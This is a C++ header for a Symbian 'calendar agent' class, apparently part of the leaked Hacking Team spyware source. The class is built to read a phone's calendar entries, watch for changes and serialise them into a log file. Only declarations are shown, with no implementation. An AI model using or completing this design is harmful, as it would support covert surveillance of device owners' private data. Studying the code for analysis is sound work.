hackedteam/core-symbian

/*
 ============================================================================
 Name        : AgentCalendar.h
 Author      : Marco Bellino
 Version     : 1.0
 Copyright   : Your copyright notice
 Description : CAgentCalendar declaration
 ============================================================================
 */

#ifndef AGENTCALENDAR_H
#define AGENTCALENDAR_H

// INCLUDES
#include <e32std.h>
#include <e32base.h>


#include <calprogresscallback.h>
#include <caliterator.h>
#include <caltime.h>
#include <calcommon.h>
#include <calsession.h>
#include <calentryview.h>

#include <HT\Logging.h>
#include <HT\LongRunTask.h>

#include "AbstractAgent.h"
// CLASS DECLARATION

/**
 *  CAgentCalendar
 * 
 */
class CAgentCalendar : public CAbstractAgent, public MLongTaskCallBack, public MCalProgressCallBack, public MCalChangeCallBack2
    {
public:
    // Constructors and destructor

    /**
     * Destructor.
     */
    ~CAgentCalendar();

    /**
     * Two-phased constructor.
     */
    static CAgentCalendar* NewL(const TDesC8& params);

    /**
     * Two-phased constructor.
     */
    static CAgentCalendar* NewLC(const TDesC8& params);
    
    /**
     * From MCallChangeCallBack2
     */
    void CalChangeNotification(RArray< TCalChangeEntry > &aChangeItems);

protected:
    // From CAbstractQueueEndPoint
    virtual void StartAgentCmdL();
    virtual void StopAgentCmdL();

private: // from MCalProgressCallBack
    /** This calls the observing class with the percentage complete of the current operation.    
    @param aPercentageCompleted The percentage complete. */
    virtual void Progress(TInt aPercentageCompleted);
    
    /**    This calls the observing class when the current operation is finished.    
    @param aError The error if the operation failed, or KErrNone if successful. */
    virtual void Completed(TInt aError);
    
    /** Asks the observing class whether progress callbacks are required.    
    @return If the observing class returns EFalse, then the Progress() function will not be called. */
    virtual TBool NotifyProgress();

private: // from MLongTaskCallBack
    virtual void DoOneRoundL();
    
    /**
     * Transform the information contained in the item in a buffer.
     * @return The buffer in proper format, ready to be written in the file.
     */
    HBufC8* CAgentCalendar::GetTTimeBufferL(const TTime aTime);


private:
    
    //TInt64 GetFiletime(const TTime aCurrentUtcTime);
    
    /**
     * Transform the information contained in the CalEntry in a buffer.
     * @return The buffer in proper format, ready to be written in the file.
     */
    HBufC8* GetCalEntryBufferL(const CCalEntry& calEntry);

    /**
     * Constructor for performing 1st stage construction
     */
    CAgentCalendar();

    /**
     * EPOC default constructor for performing 2nd stage construction
     */
    void ConstructL(const TDesC8& params);

private:
    CLongTaskAO* iLongTask;
    TBool iStopLongTask;
    CCalSession* iCalSession;
    CCalEntryView* iCalView;
    
    TCalTime iTimestamp;
    RArray< TCalLocalUid > iCalUidArray;
    TInt iCalIndex;
    
    CLogFile* iMarkupFile;

        
    __FLOG_DECLARATION_MEMBER
    };

#endif // AGENTCalendar_H